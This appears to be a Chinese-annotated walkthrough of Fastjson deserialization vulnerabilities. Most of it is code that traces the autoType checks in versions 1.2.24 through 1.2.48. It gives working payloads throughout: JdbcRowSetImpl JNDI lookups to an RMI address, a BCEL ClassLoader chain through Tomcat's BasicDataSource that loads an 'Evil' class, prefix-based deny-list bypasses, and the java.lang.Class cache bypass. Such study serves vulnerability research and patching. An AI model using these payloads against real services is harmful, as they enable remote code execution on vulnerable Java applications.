<dependency>  
 <groupId>com.alibaba</groupId>  
 <artifactId>fastjson</artifactId>  
 <version>1.2.24</version>  
</dependency>

String s = "{\"name\":\"V0n\",\"age\":\"21\"}";
JSONObject jsonObject = JSON.parseObject(s);
String age = jsonObject.getString("age");
System.out.println(age);

public class Student {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

String s = "{\"name\":\"V0n\",\"age\":\"21\"}";
Student student = JSON.parseObject(s,Student.class);
String name = student.getName();
System.out.println(name);
//输出V0n

String s = "{\"@type\":\"Student\",\"name\":\"V0n\",\"age\":\"21\"}";
JSONObject student = JSON.parseObject(s);
String name = student.getString("name");
System.out.println(name);

//输出V0n

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject) obj;
    }

    return (JSONObject) JSON.toJSON(obj);
}

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
  String typeName = lexer.scanSymbol(symbolTable, '"');
  Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

  if (clazz == null) {
    object.put(JSON.DEFAULT_TYPE_KEY, typeName);
    continue;
  }

  ...
  if (object.size() > 0) {
    Object newObj = TypeUtils.cast(object, clazz, this.config);
    this.parseObject(newObj);
    return newObj;
  }

  ObjectDeserializer deserializer = config.getDeserializer(clazz);
  return deserializer.deserialze(this, clazz, fieldName);
}

public static Field getField(Class<?> clazz, String fieldName, Field[] declaredFields) {
    for (Field field : declaredFields) {
        if (fieldName.equals(field.getName())) {
            return field;
        }
    }

    Class<?> superClass = clazz.getSuperclass();
    if (superClass != null && superClass != Object.class) {
        return getField(superClass, fieldName, superClass.getDeclaredFields());
    }

    return null;
}

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures,parserFeatures,annotation, fieldAnnotation, null));

Letter: I Unicode: \u0130 Character: İ
Letter: I Unicode: \u0131 Character: ı
Letter: K Unicode: \u212A Character: K
Letter: S Unicode: \u017F Character: ſ

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

public void setDataSourceName(String var1) throws SQLException {
  if (this.getDataSourceName() != null) {
    if (!this.getDataSourceName().equals(var1)) {
      super.setDataSourceName(var1);
      this.conn = null;
      this.ps = null;
      this.rs = null;
    }
  } else {
    super.setDataSourceName(var1);
  }
}

public void setDataSourceName(String name) throws SQLException {
  if (name == null) {
    dataSource = null;
  } else if (name.equals("")) {
    throw new SQLException("DataSource name cannot be empty string");
  } else {
    dataSource = name;
  }
  URL = null;
}

"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/testobj\",\"AutoCommit\":0}
"

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BCEL_test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Class.forName(encode(),true,new ClassLoader());
    }

    public static String encode() throws IOException {
        JavaClass cls = Repository.lookupClass(Evil.class);
        return "$$BCEL$$"+Utility.encode(cls.getBytes(), true);
    }
}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"%s\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSONObject obj = JSON.parseObject(String.format(s,encode()));

    }

    public static String encode() throws IOException {
        JavaClass cls = Repository.lookupClass(Evil.class);
        return "$$BCEL$$"+ Utility.encode(cls.getBytes(), true);
    }
}

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;


public class Main {
    public static void main(String[] args) throws IOException {
        String s = "}:\"x\"}";
        Object obj = JSON.parse(String.format(s,encode()));
    }
    public static String encode() throws IOException {
        JavaClass cls = Repository.lookupClass(Evil.class);
        return "$$BCEL$$"+ Utility.encode(cls.getBytes(), true);
    }
}

Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
改成了：
Class<?> clazz = config.checkAutoType(typeName, null);

if (className.charAt(0) == '[') {
  Class<?> componentType = loadClass(className.substring(1), classLoader);
  return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
  String newClassName = className.substring(1, className.length() - 1);
  return loadClass(newClassName, classLoader);
}

if (className.charAt(0) == '[') {
  Class<?> componentType = loadClass(className.substring(1), classLoader);
  return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
  String newClassName = className.substring(1, className.length() - 1);
  return loadClass(newClassName, classLoader);
}

{"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"DataSourceName":"rmi://localhost:1099/testobj","AutoCommit":0}

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
//这里tyoeName为类名，expectClass为null
  if (typeName == null) {
    return null;
  }
//类名称长度不能超过256
  if (typeName.length() >= maxTypeNameLength) {
    throw new JSONException("autoType is not support. " + typeName);
  }
//处理内部类
  final String className = typeName.replace('$', '.');
//如果开启了autoTypeSupport会检测当前类名是否在白名单中，而白名单为空，所以这里不会进行任何操作
  if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
      String accept = acceptList[i];
      if (className.startsWith(accept)) {
        return TypeUtils.loadClass(typeName, defaultClassLoader);
      }
    }
    //检查是否位于黑名单(注意这里是位于开启了autoTypeSupport的if语句中的)
    for (int i = 0; i < denyList.length; ++i) {
      String deny = denyList[i];
      if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
      }
    }
  }

//从缓存内容中试图加载clazz
  Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
  if (clazz == null) {
    clazz = deserializers.findClass(typeName);
  }

//如果从缓存中可以加载到类对象并且expectClass为空会直接返回类对象
  if (clazz != null) {
    if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
      throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
  }

//当没有开启autoTypeSupport时，如果位于黑名单抛出异常，如果位于白名单且expectClass不为null则进行类加载并返回类对象
  if (!autoTypeSupport) {
    for (int i = 0; i < denyList.length; ++i) {
      String deny = denyList[i];
      if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
      }
    }
    for (int i = 0; i < acceptList.length; ++i) {
      String accept = acceptList[i];
      if (className.startsWith(accept)) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
          throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
        return clazz;
      }
    }
  }

  //当开启了autoTypeSupport时会完成类加载
  if (autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
  }

//检测是不是ClassLoader和DataSource的子类
  if (clazz != null) {
    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
        || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
       ) {
      throw new JSONException("autoType is not support. " + typeName);
    }
//expectClass不为null且clazz为expectClass子类会返回clazz
    if (expectClass != null) {
      if (expectClass.isAssignableFrom(clazz)) {
        return clazz;
      } else {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
      }
    }
  }

  if (!autoTypeSupport) {
    throw new JSONException("autoType is not support. " + typeName);
  }

  return clazz;
}

//当开启了autoTypeSupport时会完成类加载
if (autoTypeSupport || expectClass != null) {
  clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

//从缓存内容中试图加载clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
  clazz = deserializers.findClass(typeName);
}

//如果从缓存中可以加载到类对象并且expectClass为空会直接返回类对象
if (clazz != null) {
  if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
  }

  return clazz;
}

public static Class<?> getClassFromMapping(String className) {
  return mappings.get(className);
}

public static Class<?> loadClass(String className, ClassLoader classLoader) {
  if (className == null || className.length() == 0) {
    return null;
  }

  Class<?> clazz = mappings.get(className);

  if (clazz != null) {
    return clazz;
  }

  if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
  }

  if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
  }

  try {
    if (classLoader != null) {
      clazz = classLoader.loadClass(className);
      mappings.put(className, clazz);

      return clazz;
    }
  } catch (Throwable e) {
    e.printStackTrace();
    // skip
  }

  try {
    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

    if (contextClassLoader != null && contextClassLoader != classLoader) {
      clazz = contextClassLoader.loadClass(className);
      mappings.put(className, clazz);

      return clazz;
    }
  } catch (Throwable e) {
    // skip
  }

  try {
    clazz = Class.forName(className);
    mappings.put(className, clazz);

    return clazz;
  } catch (Throwable e) {
    // skip
  }

  return clazz;
}

if (clazz == Class.class) {
  return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

Object objVal;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
  parser.resolveStatus = DefaultJSONParser.NONE;
  parser.accept(JSONToken.COMMA);

  if (lexer.token() == JSONToken.LITERAL_STRING) {
    if (!"val".equals(lexer.stringVal())) {
      throw new JSONException("syntax error");
    }
    lexer.nextToken();
  } else {
    throw new JSONException("syntax error");
  }

  parser.accept(JSONToken.COLON);

  objVal = parser.parse();

  parser.accept(JSONToken.RBRACE);
} else {
  objVal = parser.parse();
}

String strVal;

if (objVal == null) {
  strVal = null;
} else if (objVal instanceof String) {
  strVal = (String) objVal;
}

String s =  "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/testobj\",\"autoCommit\":true}}";

//1.2.32
if (autoTypeSupport || expectClass != null) {
  for (int i = 0; i < acceptList.length; ++i) {
    String accept = acceptList[i];
    if (className.startsWith(accept)) {
      return TypeUtils.loadClass(typeName, defaultClassLoader);
    }
  }
  //检查是否位于黑名单(注意这里是位于开启了autoTypeSupport的if语句中的)
  for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny)) {
      throw new JSONException("autoType is not support. " + typeName);
    }
  }
}

//1.2.33
if (autoTypeSupport || expectClass != null) {
  for (int i = 0; i < acceptList.length; ++i) {
    String accept = acceptList[i];
    if (className.startsWith(accept)) {
      return TypeUtils.loadClass(typeName, defaultClassLoader);
    }
  }

  for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
      throw new JSONException("autoType is not support. " + typeName);
    }
  }
}

//1.2.47
if (clazz == Class.class) {
  return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

public static Class<?> loadClass(String className, ClassLoader classLoader) {
  return loadClass(className, classLoader, true);
}

try{
  ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
  if(contextClassLoader != null && contextClassLoader != classLoader){
    clazz = contextClassLoader.loadClass(className);
    if (cache) {
      mappings.put(className, clazz);
    }
    return clazz;
  }
} catch(Throwable e){
  // skip
}

//1.2.48
if (clazz == Class.class) {
  return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}